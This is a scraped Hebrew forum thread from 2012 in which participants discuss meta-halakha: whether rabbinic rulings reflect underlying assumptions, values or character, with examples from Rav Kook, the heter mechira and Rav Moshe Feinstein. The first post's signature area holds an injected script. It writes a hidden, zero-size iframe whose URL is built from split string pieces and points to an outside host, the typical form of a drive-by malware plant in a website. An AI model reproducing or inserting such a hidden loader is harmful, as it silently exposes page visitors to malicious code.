|
|
| נשלח ב-14/5/2012 17:05 |
 |
| |
חכם קטן
ברוך הבא לפורום!
יש כאן נקודה שבעיני היא חשובה.
אנו תמיד מנסים להבין את מערכת הנחות היסוד של הלומד, הרב, הפוסק וכו' על פי פסק או פסקים שלו.
מערכת זו אפשר שתהיה מודעת לו עצמו ואפשר שתהיה בלתי מודעת (בסגנון הפילוסופיה הלא מודעת מאסכולת סוקרטס את בני בראון ).
כאשר אנו דנים על אופי במובן של פסיכולוגיה שהאדם אנוס בה, זו נראית פרשנות מזלזלת.
כאשר אנו מנסים לזהות הנחות יסוד שאדם אימץ - זה לימוד.
יש מקרי בינים. למשל, לפי הפסיכולוגיה הקוגניטיבית, אנו, בני האדם, כולנו פועלים ובוחרים על פי איסטרטגיות שאימצנו לנו בחיינו מתוך הנסיון ומתוך פרשנויות. ואת כל זה ניתן לתרגם להנחות יסוד.
אז מה בין אופי לבין איסטרטגיה? מה בין אופי לבין הנחות יסוד?
זו שאלה שאין לי עליה תשובה ברורה. אבל אני כן יודע לומר שלומר ששמאי סבר שהתשובות ההלכתיות צריכות להיות בהירות, חד משמעיות ואינן מניחות מקום לעמעום (להבדיל מהלל) - זה ניתוח מכבד וכן נהג בעל ה"שמאים". פירוש כזה של גישתו רואה בכך, גם אם נאמר אחרת, לא אופי או לא רק אופי אלא הנחות יסוד, ולכן ניתוח ראוי לדיון. ולעומת זאת לומר משהו כמו "אביי היה יתום ולכן היה מחמיר מטבעו" זה ניתוח פסיכולוגי ופסיכולוגוסיטי ואינו ראוי.
לומר שהרב אלישיב הושפע מחינוכו אצל סבו, המקובל, ולכן מסתכל על העולם דרך אספקלריה של הקבלה זה נשמע יותר מדי פסיכולוגיסטי. לומר שאפשר להבין את הכרעותיו על פי הנחות יסוד של הקבלה זו אמירה מסוג שונה.
אני מקוה שהבהרתי את עצמי. זה לא קל, מפני שכפי שכתבתי, מה בדיוק בין גישה זו לחברתה? האם אין הן נפגשות ומתמזגות במקרים מסויימים? אולי צריך לומר שהפסלות שבגישה הפסיכולוגיסטית היא בשל כמה הנחות יסוד: הסתכלות שנראית "מגבוה" על המנותחים, שלילת יכולתם לבחור את דרכם מתוך מודעות, הסבר אימוץ צורות התנהגות והכרעה מסיבות פסיכולוגיות. לעומת זאת הגישה הפילוסופית או התורנית (או אפילו הפסיכולוגית קוגנטיבית) היא לזהות הנחות יסוד, לשער שהן אומצו ביודעין ובתהליך ביקורתי על ידי בעלי הדעה, וממניעים של העדפת גישה משיקולים רציונליים (לא רציונליסטים אבל רציונליים, כלומר מסתברים ומתבקשים בהתחשב במידע שעמד אז לרשותם).
אני מתנצל על האריכות ועל החזרות. נגעת בנושא חשוב מאד שלי עצמי לא היה ברור די הצורך, והשתמשתי באינטואיציות במקום בניתוח מסודר של הנחות יסוד ומסקנות. ניסיתי לתרגם את האינטואיציות למערכת טיעונים מסודרת, ועשיתי זאת על חשבון הקוראים שהיו זכאים לקבל את התוצר בלי התהליך. ובכל זאת, גם זוהי דרכו של הפורום, שמגישים גם דברים מעובדים לא עד הסוף, מתוך תקוה שעדיין יש בהם ממש ותועלת.וכמובן יש להצהיר על כך בבירור.
___נאלצתי לתקן כי עדיין לא כתבתי ברור מספיק והלוואי שכעת כן______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 14/05/2012 17:06:51
 |
|
|
|
|
| נשלח ב-15/5/2012 08:30 |
|
| |
מ http://www.shechem.org/itamar/alonim/shemot/shemot.htm
על חובת הקודש של עבודה עברית
בזמנו של הרב אברהם יצחק הכהן קוק, עת הרב זצ"ל היה בין הלוחמים למען עבודה עברית, פנה רב אחד לרב גדול בחו"ל ושאלו, אם מחוייבים לעבוד עבודה עברית, גם כשהיא עולה בהרבה ביוקר ? והתשובה שקיבל היתה: "שעד שליש מהמחיר מחוייבים בעבודה עברית".
הרב הנ"ל מסר לי את התשובה להראותה להרב זצ"ל. כאשר גמר הרב לקרוא את התשובה בעמידה על יד עמודו. ישב במקומו ונאנח קשות. ואחר כך אמר: "אמנם כן, הרב הגאון שענה מה שענה יודע מה שכתוב בתורה, אבל צריכים גם לדעת מה שרוצה התורה. התורה רוצה שיהודים ישובו לארץ, ואם יעבדו עם ערבים – לא יהיה ליהודים מה לעשות בארץ, ולא ישובו. במקרה דנן, אין כל מחיר יכול לעמוד נגד עבודה עברית.
מתוך הספר לקוטי הראי"ה שכתב וערך הרב משה צבי נריההאם זו מטא הלכה במילואה?
|
|
|
|
| נשלח ב-15/5/2012 09:32 |
|
| |
זו אינה בגדר תקנת שעה?
|
|
|
|
| נשלח ב-15/5/2012 10:04 |
|
| |
ת"ט
לא נראה מהסגנון שזו תקנה שהרב התקין אלא יותר הבנה בצורך השעה וממילא הדין צריך להיות העדפת עבודה עברית.
|
|
|
|
| נשלח ב-15/5/2012 10:37 |
|
| |
מצאנו בהלכה הערמות גדולות יותר מהיתר המכירה, מה הביא רבנים מסוימים לתמוך בהיתר זה ואחרים להתנגד לו? אלו חשבו שיש חשיבות בישוב הארץ ולכן תמכו בהיתר כמו שלבעלי בתי מרזח באירופה התירו למכור את חמצם בפסח ואלו לא ראו בכך חשיבות ולכן לא ראו מקום להיתר ללא צורך.
אני לא זוכר איפה אבל ראיתי פעם ששאלו בימים ההם רב אחד על הלכות הנוגעות לחקלאים בארץ ותשובתו הייתה "אבותיך היו סוחרים ובעלי מלאכה למה לך להיות חקלאי" אולי זה הובא רק בתור משל אבל זה שורש העניין, החקלאות באותם ימים לא הייתה בהכרח רווחית ודרשה הקרבה מי שלמערכת שיקוליו לא נכנס הצורך בהרחבת הישוב בארץ ובשליטה על אדמות לא ראה שום סיבה להקלה הלכתית.
|
|
|
|
| נשלח ב-15/5/2012 11:25 |
|
| |
מטפחת
האם מערכת ערכים כפי שאתה מתאר היא חלק מההלכה או מטא הלכה?
|
|
|
|
| נשלח ב-15/5/2012 11:45 |
|
| |
ניתן להגיד שהכל הלכה.
אבל יכלו שני אנשים ללמוד אותם חלקי תורה באותו בית מדרש ולהגיע למסקנות שונות לגבי הציונות וישוב הארץ, אין לזה מקור מפורש בתורה לכאן או לכאן.
אצל החרדים גם זה נקרא "דעת תורה" או "שולחן ערוך חמישי" האם אין אלו דברים מטא הלכתיים?
|
|
|
|
| נשלח ב-15/5/2012 11:53 |
|
| |
הגענו אם כן לשאלה של מינוח
אם זו 'מטא הלכה', טפו זה אקדמאי, אם זו 'דעת תורה' אזי זו דעה הנובעת מהבנה עמוקה של כל התורה כולה, שמרוב רוחבה ועומקה קשה לתמצת אותה במלים.
|
|
|
|
| נשלח ב-15/5/2012 16:12 |
|
| |
הכל הלכה!! הפוך בה והפוך בה דכולא בה!!!!!
דעת בעלי בתים הפוכה מדעת תורה ולכן מה שהלכה שאומר פוה"ד רשכבה"ג הגרי"ש אלישיב שליט"א נראה לאפרוחים הקטנים שלא נפתחו עיניהם לא נכון!!!!!!!!
|
|
|
|
| נשלח ב-15/5/2012 17:14 |
|
| |
שאלת תם
ברגע שאתה יכול להגדיר את המטה הלכה היא אינה הופכת להלכה?
|
|
|
|
| נשלח ב-15/5/2012 17:39 |
|
| |
ואולי אין הלכה, רק מטא? הרי בכל נושא יש אינספור מחלוקות, פנים לכאן ולכאן, ניתן לטהר את השרץ בק"ן טעמים, ולדרוש דרשות שונות. ומכאן שהלכה כפי שמנסים לתאר אותה, כלל לא קיימת.
|
|
|
|
|
| נשלח ב-15/5/2012 17:48 |
|
| |
תחש,
במקור אתה ודאי צודק, לא בכדי מדובר בתורה שבע"פ, אלא שהיות והיה חשש שהדברים ישכחו הם קיבלו את ההגדרות שחז"ל לאורך הדורות עיצבו, בבחינת "הציבי לך ציונים".
ועכשיו (כבר כמה מאות שנים לכל הפחות אם תשאל אותי) הציונים האלו מחכים לגואל.
|
|
|
|
| נשלח ב-16/5/2012 07:08 |
|
| |
החכם אתנחתא, לשעבר מבאי בית מדרשנו, כתב:
לא קראתי את מאמרו של ריינר, אך היש מי שמכחיש שאצל רבים מהפוסקים קיימת המגמה של יש להחמיר א) בגלל שליהודי עובד השי"ת לא יחפש קולות ב) בגלל חשש פרצות ולימוד היתרים ג) ללחום נגד השכלה ופורצי גדר, ד) מגמות של קדושה וטהרה,
אוכל להביא על כך ראיות רבות מכל החוגים ומכל הסוגים בסוגיות רבות ופולמוסים הלכתיים מגדולי הפוסקים. רבים יאמרו במפורש שכך שיטתם כי ההלכה משרתת מטרת התורה בכלל ואין מקום לפסוק הלכה מקומית בלי לשקלל את המכלול כולו.
מעטים הם הפוסקים שמנסים לגשת להלכה ללא סיבות חיצוניות מטא הלכתיות אלא הלכה נטו (כמדומה שאחרי השואה היחיד שביטא מגמה זו במוצהר וגם בפרקטיקה היה רבי משה פיינשטיין, אולי רבי שלמה זלמן אוירבך גם) ומשלמים על זה מחיר גבוה בדרך כלל.
עניתי:
אתנחתא
כרגיל, מעניין לקרוא את דבריך, ואתה אומר בקיצור דברים מאלפים ומעוררי מחשבה.
זה מתחלק לדעתי לשנים.
היש מי שמכחיש שאצל רבים מהפוסקים קיימת המגמה של יש להחמיר א) בגלל שליהודי עובד השי"ת לא יחפש קולות ב) בגלל חשש פרצות ולימוד היתרים ג) ללחום נגד השכלה ופורצי גדר, ד) מגמות של קדושה וטהרה,
שלושת המניעים הראשונים הם גזירות ואפשר להסבירם כמונעים בידי מטא הלכה. במובן שלא הדין עצמו קובע אלא סיבה נוספת. והרי לפי שימוש הלשון שהצעתי יש הלכה, הדין עצמו, ויש מטא הלכה, שכוללת כל שיקול אחר, וכך רואים כבר בגמרא, וכך רואים גם מדבריך.
אוכל להביא על כך ראיות רבות מכל החוגים ומכל הסוגים בסוגיות רבות ופולמוסים הלכתיים מגדולי הפוסקים. רבים יאמרו במפורש שכך שיטתם כי ההלכה משרתת מטרת התורה בכלל ואין מקום לפסוק הלכה מקומית בלי לשקלל את המכלול כולו.
אכן. חייב הפוסק לבדוק איזו השלכה תהיה לכל ביטוי שלו, או לכל שתיקה שלו.
מעטים הם הפוסקים שמנסים לגשת להלכה ללא סיבות חיצוניות מטא הלכתיות אלא הלכה נטו (כמדומה שאחרי השואה היחיד שביטא מגמה זו במוצהר וגם בפרקטיקה היה רבי משה פיינשטיין, אולי רבי שלמה זלמן אוירבך גם) ומשלמים על זה מחיר גבוה בדרך כלל. כאן העמדת על כך שדווקא הדיון לפי ההלכה המקורית עצמה ללא שיקולים צדדיים יכול להביא לידי קולות, מפני שלא יופעלו שיקולי החמרה. הרי כל השיקולים שהובאו לעיל על ידך הם שיקולי החמרה. אמנם, דומה שאי אפשר שלא להשתמש במטא הלכה. גם ההחלטה לא להשתמש בשיקולים כאלו היא מטא הלכתית. יוצא דופן אחד ויחיד יהיה כאשר הפוסק יאמר: אין לי אלא מה שבשאלה לבד. ואמנם, עם חוסר בקיאותי באחרונים אלו שאליהם הפנית, כמדומה שאפשר לזהות מניעים כמעט מפורשים של מטא הלכה אצל ר' משה פיינשטיין. לגבי הרשז"א יש לבדוק, אלא שתלמידו הרב ד"ר מרדכי הלפרין טוען שלפחות ברמה של חיבור התשובות היו לו שיקולים כאלו, ויש לו דוגמא בספרו החדש של תשובה שבה ההיתר הועלם ונשאר רק ברמה כזו שרק, לדברי הכותב, תלמיד חכם היה מבין שמה שהוצג כהיתר בדיעבד חל לכתחילה. כלומר, היתה כאן הסתרה של היתר כדי שלא לפרוץ גדר.
לגבי ר' משה פיינשטיין, התרשמות שלי במקרים רבים שרק לדובב את ההלכה עצמה ולא שיקולים אחרים, יש אצלו מקרים מפורסמים, חסרי מקבילות, שהקיל בסוגיות רגישות אך מתוך הבנת ההלכה עצמה וסבל מזה מרירורת כמיקל וקל בימיו, אמנה הפסקים המפורסמים שקשה לראות שום פוסק חרדי מפרסם היום פסק כזה בריש גלי, פסקו על מחיצות בבית כנסת שבנה פסקו על אדני ההלכה לפי ראותו עיניו (ולא מחמת רגש קדושה בלבד) אך התיר לעשות מחיצה עד לקומת איש בערך ולא חייב מחיצה הרמטית, התיר נשים ללכת בשערותהן שתי אצבעות מבצבצות בחוץ, חלב עכו"ם שהתיר, ועוד בכל הלכה יש גישה מאד פנים הלכתית ללא ערבוב רגשות של קדושה והחמרה. יש תחושה של קליניות.
קשה לי לקבל שהפוסק שאך רק חוצב את פסקו מתוך אבני ההלכה וכלליה מתוך מודעות לכך שזה גם נקרא שימוש במטא הלכתית, כלום מודעות היא נקרא מטא? זהו צמידות לחוק בלבד.
לגבי רשז"א, יש להבחין בין פרסום ההלכה בפומבי לכל דורש לבין עצם הפסק, פרסום ההלכה ופסיקת ההלכה הם שני דברים שונים.
כמובן גם לקולא מצינו מטא הלכה, במיוחד יש לציין המטא הלכה שהצביעו עליה כמה באשכנז שניסו ליישב ההתנהגות באשכנז עם ההלכה בכל מחיר, ומזה יישוב הרבה קולות באשכנז עם ההלכה בידי הרמ"א ופוסקי פולין כגון אכילת חדש, אי שינה בסוכה. ויש אולי לראות אצל פוסקים שהיו נודעים כמקילים גדולים (לעומת מחמירים) כמו הפוסק הנודע מהרש"ם (ויל"ע בגישתו), בעל אשל אברהם מבוטשטש, פוסק מקורי ומיוחד. ואולי כל צמידות למנהג כקובע את ההלכה באשכנז כמו רבים מאד של הגהות הרמ"א לעומת ההיצמדות לגוף חומרי ההלכה של הבית יוסף הינו בגדר זה.
בכל זה יש לעיין באם המגמה לתרץ בכל מחיר את הראשונים כמלאכים הינו כבר חלק מההלכה עצמה או זו בגדר מטה ההלכה "להצדיק הצדיק מעיקרא" "ואנו כחמורים", ולכן ההלכה היא לפועל כמו הקודמים אפילו שיש לכך סתירות גלויות מהתלמוד וההגיון. האם יישוב כזה (שבאופן כללי היה הרמב"ן שהתחיל בזה, או אולי רבו, ואולי בן דורו) שלא היו בדורות הראשונים, ובימינו זה כמעט לחם חוקם של הלומדים להצדיק כל גדול בכל מחיר ולא כחלק טבעי של המעגל השיח ההלכתי (כגון דוגמא מובהקת ובולטת שנכדי רש"י כלל לא חשו שהם צריכים לתרץ את זקנם, (אם כי בעומק הדבר רבינו תם בדרכו החריפה בא דוקא להצדיק באופן בלתי מוצהר את הגירסאות הכי מוקשות שמחק רש"י), וכן כך בדורות הראשונים ,אלא כאנוס על פי דיבור, האם זה כבר חלק שהוטמע בהלכה עצמה ולא נחשבת אפילו כמטא הלכתי?
|
|
|
|
|
| נשלח ב-16/5/2012 10:35 |
|
| |
מימוני,
כרגיל (מבלי לשלול את דבריך) חושבני שהעיקר חסר כאן.
אחרי הכל צריך להבין מה עיצב את התפיסה הזו שמקדשת דברים שלא על בסיס אמיתי ביותר מדי מקרים.
לטעמי התשובה פשוטה, רצון לשמור על זהות, כאשר אדם או קבוצה מרגישים שאין לזהות שלהם זכות קיום בעולם , והזהות הזו יקרה להם מאוד, הם מסוגלים להאחז בציפורניים כדי לשמרה.
במקרה שלנו המקום בו נדמה היה שהזהות הזו מעוצבת נכון יותר , היה תמיד בדורות הקודמים , בפרט לאור ההתדרדרות לאורך הגלות הן במצב ובמעמד הטכני של העם וחכמיו, ולאור זה שלאורך השנים פחות ופחות הבינו מה באמת המקורות רוצים להגיד לנו ממילא גם היה פחות ופחות אומץ ו/או פתחון פה לומר את הדברים באופן ישיר ובהיר (כאמור באשכול של הרב לבקוביץ , את מי שניסה לחשוב פשוט השתיקו אלא אם הצליח להראות שהוא גאון עצום וכד' וגם אז היה צריך לומר את הבדרים באופן עקיף ומרוכך מאוד, וגם זה לא תמיד עצר פראים מלקום בחוצפה כנגד גדולים מהם שאמרו דברים שנראו להם פוגעים בנקודה הזו)
הדברים נכתבו מבחינתי לא לעיוני בעלמא, אלא בראש ובראשונה כדי להסביר איך נכון כן לנהל את
השינוי הזה (וכן אני לא מתבייש לקרוא לו גם רפורמה בקול רם ודוקני אם צריך) שזה קודם כל מתוך רגישות לנקודת האמת שבצד השני (אך כמובן בלי ויתור כמלוא הנימה כנגד עזות או אלימות מצידו) והבנת מניעיו, או לפחות הבנת המניעים שעומדים מאחרי התנהגותו הזו, ובניית מהלך שיכיל בתוכו תשובה שתעקר את טענתם משורשה (למרות שהנחת העבודה היא שהם לא יבינו בטח שלא בשלב הראשון או השלישי) , כמובן איך מייצרים מהלך כזה זו תורה שלימה בפני עצמה, אליה אתייחס בע"ה לכשאבין שנחיצות המהלך והכיוון העקרוני שלו מוסכם.
יש לי תחושה שהשבוע נחשף, שהתקדמנו כמה וכמה צעדים בכיוון בחודשים האחרונים, אבל אחכה עם זה עוד קצת.
|
|
|
|
|
|
